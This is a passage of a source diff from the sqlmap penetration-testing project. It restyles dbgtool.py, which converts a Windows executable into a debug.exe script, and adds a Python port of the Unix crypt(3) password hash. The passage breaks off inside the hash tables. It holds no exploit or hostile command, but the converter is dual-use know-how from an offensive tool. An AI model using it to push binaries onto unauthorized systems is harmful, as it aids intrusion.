|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
+22
-34
@@ -1,24 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
@@ -33,20 +21,20 @@ def convert(inputFile):
|
||||
fileSize = fileStat.st_size
|
||||
|
||||
if fileSize > 65280:
|
||||
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
|
||||
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
|
||||
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
|
||||
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
|
||||
script += "%x\nf 0100 ffff 00\n" % fileSize
|
||||
scrString = ""
|
||||
counter = 256
|
||||
counter2 = 0
|
||||
|
||||
fp = open(inputFile, 'rb')
|
||||
fp = open(inputFile, "rb")
|
||||
fileContent = fp.read()
|
||||
|
||||
for fileChar in fileContent:
|
||||
unsignedFileChar = struct.unpack('B', fileChar)[0]
|
||||
unsignedFileChar = struct.unpack("B", fileChar)[0]
|
||||
|
||||
if unsignedFileChar != 0:
|
||||
counter2 += 1
|
||||
@@ -56,49 +44,49 @@ def convert(inputFile):
|
||||
else:
|
||||
scrString += " %02x" % unsignedFileChar
|
||||
elif scrString:
|
||||
script += "%s\r\n" % scrString
|
||||
script += "%s\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
counter += 1
|
||||
|
||||
if counter2 == 20:
|
||||
script += "%s\r\n" % scrString
|
||||
script += "%s\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
script += "w\r\nq\r\n"
|
||||
script += "w\nq\n"
|
||||
|
||||
return script
|
||||
|
||||
|
||||
def main(inputFile, outputFile):
|
||||
if not os.path.isfile(inputFile):
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||
print "ERROR: the provided input file '%s' is not a regular file" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = convert(inputFile)
|
||||
|
||||
if outputFile:
|
||||
fpOut = open(outputFile, 'w')
|
||||
fpOut = open(outputFile, "w")
|
||||
sys.stdout = fpOut
|
||||
sys.stdout.write(script)
|
||||
sys.stdout.close()
|
||||
else:
|
||||
print script
|
||||
|
||||
if __name__ == '__main__':
|
||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
|
||||
if __name__ == "__main__":
|
||||
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version="0.1")
|
||||
|
||||
try:
|
||||
parser.add_option('-i', dest='inputFile', help='Input binary file')
|
||||
parser.add_option("-i", dest="inputFile", help="Input binary file")
|
||||
|
||||
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
|
||||
parser.add_option("-o", dest="outputFile", help="Output debug.exe text file")
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.inputFile:
|
||||
parser.error('Missing the input file, -h for help')
|
||||
parser.error("Missing the input file, -h for help")
|
||||
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2004, Carey Evans <[email protected]>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,615 @@
|
||||
# fcrypt.py
|
||||
|
||||
"""Unix crypt(3) password hash algorithm.
|
||||
|
||||
This is a port to Python of the standard Unix password crypt function.
|
||||
It's a single self-contained source file that works with any version
|
||||
of Python from version 1.5 or higher. The code is based on Eric
|
||||
Young's optimised crypt in C.
|
||||
|
||||
Python fcrypt is intended for users whose Python installation has not
|
||||
had the crypt module enabled, or whose C library doesn't include the
|
||||
crypt function. See the documentation for the Python crypt module for
|
||||
more information:
|
||||
|
||||
http://www.python.org/doc/current/lib/module-crypt.html
|
||||
|
||||
An alternative Python crypt module that uses the MD5 algorithm and is
|
||||
more secure than fcrypt is available from michal j wallace at:
|
||||
|
||||
http://www.sabren.net/code/python/crypt/index.php3
|
||||
|
||||
The crypt() function is a one-way hash function, intended to hide a
|
||||
password such that the only way to find out the original password is
|
||||
to guess values until you get a match. If you need to encrypt and
|
||||
decrypt data, this is not the module for you.
|
||||
|
||||
There are at least two packages providing Python cryptography support:
|
||||
M2Crypto at <http://www.pobox.org.sg/home/ngps/m2/>, and amkCrypto at
|
||||
<http://www.amk.ca/python/code/crypto.html>.
|
||||
|
||||
Functions:
|
||||
|
||||
crypt() -- return hashed password
|
||||
"""
|
||||
|
||||
__author__ = 'Carey Evans <[email protected]>'
|
||||
__version__ = '1.3.1'
|
||||
__date__ = '21 February 2004'
|
||||
__credits__ = '''michal j wallace for inspiring me to write this.
|
||||
Eric Young for the C code this module was copied from.'''
|
||||
|
||||
__all__ = ['crypt']
|
||||
|
||||
|
||||
# Copyright (C) 2000, 2001, 2004 Carey Evans <[email protected]>
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this software and
|
||||
# its documentation for any purpose and without fee is hereby granted,
|
||||
# provided that the above copyright notice appear in all copies and
|
||||
# that both that copyright notice and this permission notice appear in
|
||||
# supporting documentation.
|
||||
#
|
||||
# CAREY EVANS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
|
||||
# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
|
||||
# EVENT SHALL CAREY EVANS BE LIABLE FOR ANY SPECIAL, INDIRECT OR
|
||||
# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
|
||||
# USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
|
||||
# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
# PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
# Based on C code by Eric Young ([email protected]), which has the
|
||||
# following copyright. Especially note condition 3, which imposes
|
||||
# extra restrictions on top of the standard Python license used above.
|
||||
#
|
||||
# The fcrypt.c source is available from:
|
||||
# ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/
|
||||
|
||||
# ----- BEGIN fcrypt.c LICENSE -----
|
||||
#
|
||||
# This library is free for commercial and non-commercial use as long as
|
||||
# the following conditions are aheared to. The following conditions
|
||||
# apply to all code found in this distribution, be it the RC4, RSA,
|
||||
# lhash, DES, etc., code; not just the SSL code. The SSL documentation
|
||||
# included with this distribution is covered by the same copyright terms
|
||||
# except that the holder is Tim Hudson ([email protected]).
|
||||
#
|
||||
# Copyright remains Eric Young's, and as such any Copyright notices in
|
||||
# the code are not to be removed.
|
||||
# If this package is used in a product, Eric Young should be given attribution
|
||||
# as the author of the parts of the library used.
|
||||
# This can be in the form of a textual message at program startup or
|
||||
# in documentation (online or textual) provided with the package.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions
|
||||
# are met:
|
||||
# 1. Redistributions of source code must retain the copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
# 2. Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in the
|
||||
# documentation and/or other materials provided with the distribution.
|
||||
# 3. All advertising materials mentioning features or use of this software
|
||||
# must display the following acknowledgement:
|
||||
# "This product includes cryptographic software written by
|
||||
# Eric Young ([email protected])"
|
||||
# The word 'cryptographic' can be left out if the rouines from the library
|
||||
# being used are not cryptographic related :-).
|
||||
# 4. If you include any Windows specific code (or a derivative thereof) from
|
||||
# the apps directory (application code) you must include an acknowledgement:
|
||||
# "This product includes software written by Tim Hudson ([email protected])"
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
|
||||
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
# SUCH DAMAGE.
|
||||
#
|
||||
# The licence and distribution terms for any publically available version or
|
||||
# derivative of this code cannot be changed. i.e. this code cannot simply be
|
||||
# copied and put under another distribution licence
|
||||
# [including the GNU Public Licence.]
|
||||
#
|
||||
# ----- END fcrypt.c LICENSE -----
|
||||
|
||||
|
||||
import string, struct
|
||||
|
||||
|
||||
_ITERATIONS = 16
|
||||
|
||||
_SPtrans = (
|
||||
# nibble 0
|
||||
[ 0x00820200, 0x00020000, 0x80800000, 0x80820200,
|
||||
0x00800000, 0x80020200, 0x80020000, 0x80800000,
|
||||
0x80020200, 0x00820200, 0x00820000, 0x80000200,
|
||||
0x80800200, 0x00800000, 0x00000000, 0x80020000,
|
||||
0x00020000, 0x80000000, 0x00800200, 0x00020200,
|
||||
0x80820200, 0x00820000, 0x80000200, 0x00800200,
|
||||
0x80000000, 0x00000200, 0x00020200, 0x80820000,
|
||||
0x00000200, 0x80800200, 0x80820000, 0x00000000,
|
||||
0x00000000, 0x80820200, 0x00800200, 0x80020000,
|
||||
0x00820200, 0x00020000, 0x80000200, 0x00800200,
|
||||
0x80820000, 0x00000200, 0x00020200, 0x80800000,
|
||||
0x80020200, 0x80000000, 0x80800000, 0x00820000,
|
||||
0x80820200, 0x00020200, 0x00820000, 0x80800200,
|
||||
0x00800000, 0x80000200, 0x80020000, 0x00000000,
|
||||
0x00020000, 0x00800000, 0x80800200, 0x00820200,
|
||||
0x80000000, 0x80820000, 0x00000200, 0x80020200 ],
|
||||
|
||||
# nibble 1
|
||||
[ 0x10042004, 0x00000000, 0x00042000, 0x10040000,
|
||||
0x10000004, 0x00002004, 0x10002000, 0x00042000,
|
||||
0x00002000, 0x10040004, 0x00000004, 0x10002000,
|
||||
0x00040004, 0x10042000, 0x10040000, 0x00000004,
|
||||
0x00040000, 0x10002004, 0x10040004, 0x00002000,
|
||||
0x00042004, 0x10000000, 0x00000000, 0x00040004,
|
||||
0x10002004, 0x00042004, 0x10042000, 0x10000004,
|
||||
0x10000000, 0x00040000, 0x00002004, 0x10042004,
|
||||
0x00040004, 0x10042000, 0x10002000, 0x00042004,
|
||||
0x10042004, 0x00040004, 0x10000004, 0x00000000,
|
||||
0x10000000, 0x00002004, 0x00040000, 0x10040004,
|
||||
0x00002000, 0x10000000, 0x00042004, 0x10002004,
|
||||
0x10042000, 0x00002000, 0x00000000, 0x10000004,
|
||||
0x00000004, 0x10042004, 0x00042000, 0x10040000,
|
||||
0x10040004, 0x00040000, 0x00002004, 0x10002000,
|
||||
0x10002004, 0x00000004, 0x10040000, 0x00042000 ],
|
||||
|
||||
# nibble 2
|
||||
[ 0x41000000, 0x01010040, 0x00000040, 0x41000040,
|
||||
0x40010000, 0x01000000, 0x41000040, 0x00010040,
|
||||
0x01000040, 0x00010000, 0x01010000, 0x40000000,
|
||||
0x41010040, 0x40000040, 0x40000000, 0x41010000,
|
||||
0x00000000, 0x40010000, 0x01010040, 0x00000040,
|
||||
0x40000040, 0x41010040, 0x00010000, 0x41000000,
|
||||
0x41010000, 0x01000040, 0x40010040, 0x01010000,
|
||||
0x00010040, 0x00000000, 0x01000000, 0x40010040,
|
||||
0x01010040, 0x00000040, 0x40000000, 0x00010000,
|
||||
0x40000040, 0x40010000, 0x01010000, 0x41000040,
|
||||
0x00000000, 0x01010040, 0x00010040, 0x41010000,
|
||||
0x40010000, 0x01000000, 0x41010040, 0x40000000,
|
||||
0x40010040, 0x41000000, 0x01000000, 0x41010040,
|
||||
0x00010000, 0x01000040, 0x41000040, 0x00010040,
|
||||
0x01000040, 0x00000000, 0x41010000, 0x40000040,
|
||||
0x41000000, 0x40010040, 0x00000040, 0x01010000 ],
|
||||
|
||||
# nibble 3
|
||||
[ 0x00100402, 0x04000400, 0x00000002, 0x04100402,
|
||||
0x00000000, 0x04100000, 0x04000402, 0x00100002,
|
||||
0x04100400, 0x04000002, 0x04000000, 0x00000402,
|
||||
0x04000002, 0x00100402, 0x00100000, 0x04000000,
|
||||
0x04100002, 0x00100400, 0x00000400, 0x00000002,
|
||||
0x00100400, 0x04000402, 0x04100000, 0x00000400,
|
||||
0x00000402, 0x00000000, 0x00100002, 0x04100400,
|
||||
0x04000400, 0x04100002, 0x04100402, 0x00100000,
|
||||
0x04100002, 0x00000402, 0x00100000, 0x04000002,
|
||||
0x00100400, 0x04000400, 0x00000002, 0x04100000,
|
||||
0x04000402, 0x00000000, 0x00000400, 0x00100002,
|
||||
0x00000000, 0x04100002, 0x04100400, 0x00000400,
|
||||
0x04000000, 0x04100402, 0x00100402, 0x00100000,
|
||||
0x04100402, 0x00000002, 0x04000400, 0x00100402,
|
||||
0x00100002, 0x00100400, 0x04100000, 0x04000402,
|
||||
0x00000402, 0x04000000, 0x04000002, 0x04100400 ],
|
||||
|
||||
# nibble 4
|
||||
[ 0x02000000, 0x00004000, 0x00000100, 0x02004108,
|
||||
0x02004008, 0x02000100, 0x00004108, 0x02004000,
|
||||
0x00004000, 0x00000008, 0x02000008, 0x00004100,
|
||||
0x02000108, 0x02004008, 0x02004100, 0x00000000,
|
||||
0x00004100, 0x02000000, 0x00004008, 0x00000108,
|
||||
0x02000100, 0x00004108, 0x00000000, 0x02000008,
|
||||
0x00000008, 0x02000108, 0x02004108, 0x00004008,
|
||||
0x02004000, 0x00000100, 0x00000108, 0x02004100,
|
||||
0x02004100, 0x02000108, 0x00004008, 0x02004000,
|
||||
0x00004000, 0x00000008, 0x02000008, 0x02000100,
|
||||
0x02000000, 0x00004100, 0x02004108, 0x00000000,
|
||||
0x00004108, 0x02000000, 0x00000100, 0x00004008,
|
||||
0x02000108, 0x00000100, 0x00000000, 0x02004108,
|
||||
0x02004008, 0x02004100, 0x00000108, 0x00004000,
|
||||
0x00004100, 0x02004008, 0x02000100, 0x00000108,
|
||||
0x00000008, 0x00004108, 0x02004000, 0x02000008 ],
|
||||
|
||||
# nibble 5
|
||||
[ 0x20000010, 0x00080010, 0x00000000, 0x20080800,
|
||||
0x00080010, 0x00000800, 0x20000810, 0x00080000,
|
||||
0x00000810, 0x20080810, 0x00080800, 0x20000000,
|
||||
0x20000800, 0x20000010, 0x20080000, 0x00080810,
|
||||
0x00080000, 0x20000810, 0x20080010, 0x00000000,
|
||||
0x00000800, 0x00000010, 0x20080800, 0x20080010,
|
||||
0x20080810, 0x20080000, 0x20000000, 0x00000810,
|
||||
0x00000010, 0x00080800, 0x00080810, 0x20000800,
|
||||
0x00000810, 0x20000000, 0x20000800, 0x00080810,
|
||||
0x20080800, 0x00080010, 0x00000000, 0x20000800,
|
||||
0x20000000, 0x00000800, 0x20080010, 0x00080000,
|
||||
0x00080010, 0x20080810, 0x00080800, 0x00000010,
|
||||
0x20080810, 0x00080800, 0x00080000, 0x20000810,
|
||||
0x20000010, 0x20080000, 0x00080810, 0x00000000,
|
||||
0x00000800, 0x20000010, 0x20000810, 0x20080800,
|
||||
0x20080000, 0x00000810, 0x00000010, 0x20080010 ],
|
||||
|
||||
# nibble 6
|
||||
[ 0x00001000, 0x00000080, 0x00400080, 0x00400001,
|
||||
0x00401081, 0x00001001, 0x00001080, 0x00000000,
|
||||
0x00400000, 0x00400081, 0x00000081, 0x00401000,
|
||||
0x00000001, 0x00401080, 0x00401000, 0x00000081,
|
||||
0x00400081, 0x00001000, 0x00001001, 0x00401081,
|
||||
0x00000000, 0x00400080, 0x00400001, 0x00001080,
|
||||
0x00401001, 0x00001081, 0x00401080, 0x00000001,
|
||||
0x00001081, 0x00401001, 0x00000080, 0x00400000,
|
||||
0x00001081, 0x00401000, 0x00401001, 0x00000081,
|
||||
0x00001000, 0x00000080, 0x00400000, 0x00401001,
|
||||
0x00400081, 0x00001081, 0x00001080, 0x00000000,
|
||||
0x00000080, 0x00400001, 0x00000001, 0x00400080,
|
||||
0x00000000, 0x00400081, 0x00400080, 0x00001080,
|
||||
0x00000081, 0x00001000, 0x00401081, 0x00400000,
|
||||
0x00401080, 0x00000001, 0x00001001, 0x00401081,
|
||||
0x00400001, 0x00401080, 0x00401000, 0x00001001 ],
|
||||
|
||||
# nibble 7
|
||||
[ 0x08200020, 0x08208000, 0x00008020, 0x00000000,
|
||||
0x08008000, 0x00200020, 0x08200000, 0x08208020,
|
||||
0x00000020, 0x08000000, 0x00208000, 0x00008020,
|
||||
0x00208020, 0x08008020, 0x08000020, 0x08200000,
|
||||
0x00008000, 0x00208020, 0x00200020, 0x08008000,
|
||||
0x08208020, 0x08000020, 0x00000000, 0x00208000,
|
||||
0x08000000, 0x00200000, 0x08008020, 0x08200020,
|
||||
0x00200000, 0x00008000, 0x08208000, 0x00000020,
|
||||
0x00200000, 0x00008000, 0x08000020, 0x08208020,
|
||||
0x00008020, 0x08000000, 0x00000000, 0x00208000,
|
||||
0x08200020, 0x08008020, 0x08008000, 0x00200020,
|
||||
0x08208000, 0x00000020, 0x00200020, 0x08008000,
|
||||
0x08208020, 0x00200000, 0x08200000, 0x08000020,
|
||||
0x00208000, 0x00008020, 0x08008020, 0x08200000,
|
||||
0x00000020, 0x08208000, 0x00208020, 0x00000000,
|
||||
0x08000000, 0x08200020, 0x00008000, 0x00208020 ] )
|
||||
|
||||
_skb = (
|
||||
# for C bits (numbered as per FIPS 46) 1 2 3 4 5 6
|
||||
[ 0x00000000, 0x00000010, 0x20000000, 0x20000010,
|
||||
0x00010000, 0x00010010, 0x20010000, 0x20010010,
|
||||
0x00000800, 0x00000810, 0x20000800, 0x20000810,
|
||||
0x00010800, 0x00010810, 0x20010800, 0x20010810,
|
||||
0x00000020, 0x00000030, 0x20000020, 0x20000030,
|
||||
0x00010020, 0x00010030, 0x20010020, 0x20010030,
|
||||
0x00000820, 0x00000830, 0x20000820, 0x20000830,
|
||||
0x00010820, 0x00010830, 0x20010820, 0x20010830,
|
||||
0x00080000, 0x00080010, 0x20080000, 0x20080010,
|
||||
0x00090000, 0x00090010, 0x20090000, 0x20090010,
|
||||
0x00080800, 0x00080810, 0x20080800, 0x20080810,
|
||||
0x00090800, 0x00090810, 0x20090800, 0x20090810,
|
||||
0x00080020, 0x00080030, 0x20080020, 0x20080030,
|
||||
0x00090020, 0x00090030, 0x20090020, 0x20090030,
|
||||
0x00080820, 0x00080830, 0x20080820, 0x20080830,
|
||||
0x00090820, 0x00090830, 0x20090820, 0x20090830 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 7 8 10 11 12 13
|
||||
[ 0x00000000, 0x02000000, 0x00002000, 0x02002000,
|
||||
0x00200000, 0x02200000, 0x00202000, 0x02202000,
|
||||
0x00000004, 0x02000004, 0x00002004, 0x02002004,
|
||||
0x00200004, 0x02200004, 0x00202004, 0x02202004,
|
||||
0x00000400, 0x02000400, 0x00002400, 0x02002400,
|
||||
0x00200400, 0x02200400, 0x00202400, 0x02202400,
|
||||
0x00000404, 0x02000404, 0x00002404, 0x02002404,
|
||||
0x00200404, 0x02200404, 0x00202404, 0x02202404,
|
||||
0x10000000, 0x12000000, 0x10002000, 0x12002000,
|
||||
0x10200000, 0x12200000, 0x10202000, 0x12202000,
|
||||
0x10000004, 0x12000004, 0x10002004, 0x12002004,
|
||||
0x10200004, 0x12200004, 0x10202004, 0x12202004,
|
||||
0x10000400, 0x12000400, 0x10002400, 0x12002400,
|
||||
0x10200400, 0x12200400, 0x10202400, 0x12202400,
|
||||
0x10000404, 0x12000404, 0x10002404, 0x12002404,
|
||||
0x10200404, 0x12200404, 0x10202404, 0x12202404 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 14 15 16 17 19 20
|
||||
[ 0x00000000, 0x00000001, 0x00040000, 0x00040001,
|
||||
0x01000000, 0x01000001, 0x01040000, 0x01040001,
|
||||
0x00000002, 0x00000003, 0x00040002, 0x00040003,
|
||||
0x01000002, 0x01000003, 0x01040002, 0x01040003,
|
||||
0x00000200, 0x00000201, 0x00040200, 0x00040201,
|
||||
0x01000200, 0x01000201, 0x01040200, 0x01040201,
|
||||
0x00000202, 0x00000203, 0x00040202, 0x00040203,
|
||||
0x01000202, 0x01000203, 0x01040202, 0x01040203,
|
||||
0x08000000, 0x08000001, 0x08040000, 0x08040001,
|
||||
0x09000000, 0x09000001, 0x09040000, 0x09040001,
|
||||
0x08000002, 0x08000003, 0x08040002, 0x08040003,
|
||||
0x09000002, 0x09000003, 0x09040002, 0x09040003,
|
||||
0x08000200, 0x08000201, 0x08040200, 0x08040201,
|
||||
0x09000200, 0x09000201, 0x09040200, 0x09040201,
|
||||
0x08000202, 0x08000203, 0x08040202, 0x08040203,
|
||||
0x09000202, 0x09000203, 0x09040202, 0x09040203 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 21 23 24 26 27 28
|
||||
[ 0x00000000, 0x00100000, 0x00000100, 0x00100100,
|
||||
0x00000008, 0x00100008, 0x00000108, 0x00100108,
|
||||
0x00001000, 0x00101000, 0x00001100, 0x00101100,
|
||||
0x00001008, 0x00101008, 0x00001108, 0x00101108,
|
||||
0x04000000, 0x04100000, 0x04000100, 0x04100100,
|
||||
0x04000008, 0x04100008, 0x04000108, 0x04100108,
|
||||
0x04001000, 0x04101000, 0x04001100, 0x04101100,
|
||||
0x04001008, 0x04101008, 0x04001108, 0x04101108,
|
||||
0x00020000, 0x00120000, 0x00020100, 0x00120100,
|
||||
0x00020008, 0x00120008, 0x00020108, 0x00120108,
|
||||
0x00021000, 0x00121000, 0x00021100, 0x00121100,
|
||||
0x00021008, 0x00121008, 0x00021108, 0x00121108,
|
||||
0x04020000, 0x04120000, 0x04020100, 0x04120100,
|
||||
0x04020008, 0x04120008, 0x04020108, 0x04120108,
|
||||
0x04021000, 0x04121000, 0x04021100, 0x04121100,
|
||||
0x04021008, 0x04121008, 0x04021108, 0x04121108 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 1 2 3 4 5 6
|
||||
[ 0x00000000, 0x10000000, 0x00010000, 0x10010000,
|
||||
0x00000004, 0x10000004, 0x00010004, 0x10010004,
|
||||
0x20000000, 0x30000000, 0x20010000, 0x30010000,
|
||||
0x20000004, 0x30000004, 0x20010004, 0x30010004,
|
||||
0x00100000, 0x10100000, 0x00110000, 0x10110000,
|
||||
0x00100004, 0x10100004, 0x00110004, 0x10110004,
|
||||
0x20100000, 0x30100000, 0x20110000, 0x30110000,
|
||||
0x20100004, 0x30100004, 0x20110004, 0x30110004,
|
||||
0x00001000, 0x10001000, 0x00011000, 0x10011000,
|
||||
0x00001004, 0x10001004, 0x00011004, 0x10011004,
|
||||
0x20001000, 0x30001000, 0x20011000, 0x30011000,
|
||||
0x20001004, 0x30001004, 0x20011004, 0x30011004,
|
||||
0x00101000, 0x10101000, 0x00111000, 0x10111000,
|
||||
0x00101004, 0x10101004, 0x00111004, 0x10111004,
|
||||
0x20101000, 0x30101000, 0x20111000, 0x30111000,
|
||||
0x20101004, 0x30101004, 0x20111004, 0x30111004 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 8 9 11 12 13 14
|
||||
[ 0x00000000, 0x08000000, 0x00000008, 0x08000008,
|
||||
0x00000400, 0x08000400, 0x00000408, 0x08000408,
|
||||
0x00020000, 0x08020000, 0x00020008, 0x08020008,
|
||||
0x00020400, 0x08020400, 0x00020408, 0x08020408,
|
||||
0x00000001, 0x08000001, 0x00000009, 0x08000009,
|
||||
0x00000401, 0x08000401, 0x00000409, 0x08000409,
|
||||
0x00020001, 0x08020001, 0x00020009, 0x08020009,
|
||||
0x00020401, 0x08020401, 0x00020409, 0x08020409,
|
||||
0x02000000, 0x0A000000, 0x02000008, 0x0A000008,
|
||||
0x02000400, 0x0A000400, 0x02000408, 0x0A000408,
|
||||
0x02020000, 0x0A020000, 0x02020008, 0x0A020008,
|
||||
0x02020400, 0x0A020400, 0x02020408, 0x0A020408,
|
||||
0x02000001, 0x0A000001, 0x02000009, 0x0A000009,
|
||||
0x02000401, 0x0A000401, 0x02000409, 0x0A000409,
|
||||
0x02020001, 0x0A020001, 0x02020009, 0x0A020009,
|
||||
0x02020401, 0x0A020401, 0x02020409, 0x0A020409 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 16 17 18 19 20 21
|
||||
[ 0x00000000, 0x00000100, 0x00080000, 0x00080100,
|
||||
0x01000000, 0x01000100, 0x01080000, 0x01080100,
|
||||
0x00000010, 0x00000110, 0x00080010, 0x00080110,
|
||||
0x01000010, 0x01000110, 0x01080010, 0x01080110,
|
||||
0x00200000, 0x00200100, 0x00280000, 0x00280100,
|
||||
0x01200000, 0x01200100, 0x01280000, 0x01280100,
|
||||
0x00200010, 0x00200110, 0x00280010, 0x00280110,
|
||||
0x01200010, 0x01200110, 0x01280010, 0x01280110,
|
||||
0x00000200, 0x00000300, 0x00080200, 0x00080300,
|
||||
0x01000200, 0x01000300, 0x01080200, 0x01080300,
|
||||
0x00000210, 0x00000310, 0x00080210, 0x00080310,
|
||||
0x01000210, 0x01000310, 0x01080210, 0x01080310,
|
||||
0x00200200, 0x00200300, 0x00280200, 0x00280300,
|
||||
0x01200200, 0x01200300, 0x01280200, 0x01280300,
|
||||
0x00200210, 0x00200310, 0x00280210, 0x00280310,
|
||||
0x01200210, 0x01200310, 0x01280210, 0x01280310 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 22 23 24 25 27 28
|
||||
[ 0x00000000, 0x04000000, 0x00040000, 0x04040000,
|
||||
0x00000002, 0x04000002, 0x00040002, 0x04040002,
|
||||
0x00002000, 0x04002000, 0x00042000, 0x04042000,
|
||||
0x00002002, 0x04002002, 0x00042002, 0x04042002,
|
||||
0x00000020, 0x04000020, 0x00040020, 0x04040020,
|
||||
0x00000022, 0x04000022, 0x00040022, 0x04040022,
|
||||
0x00002020, 0x04002020, 0x00042020, 0x04042020,
|
||||
0x00002022, 0x04002022, 0x00042022, 0x04042022,
|
||||
0x00000800, 0x04000800, 0x00040800, 0x04040800,
|
||||
0x00000802, 0x04000802, 0x00040802, 0x04040802,
|
||||
0x00002800, 0x04002800, 0x00042800, 0x04042800,
|
||||
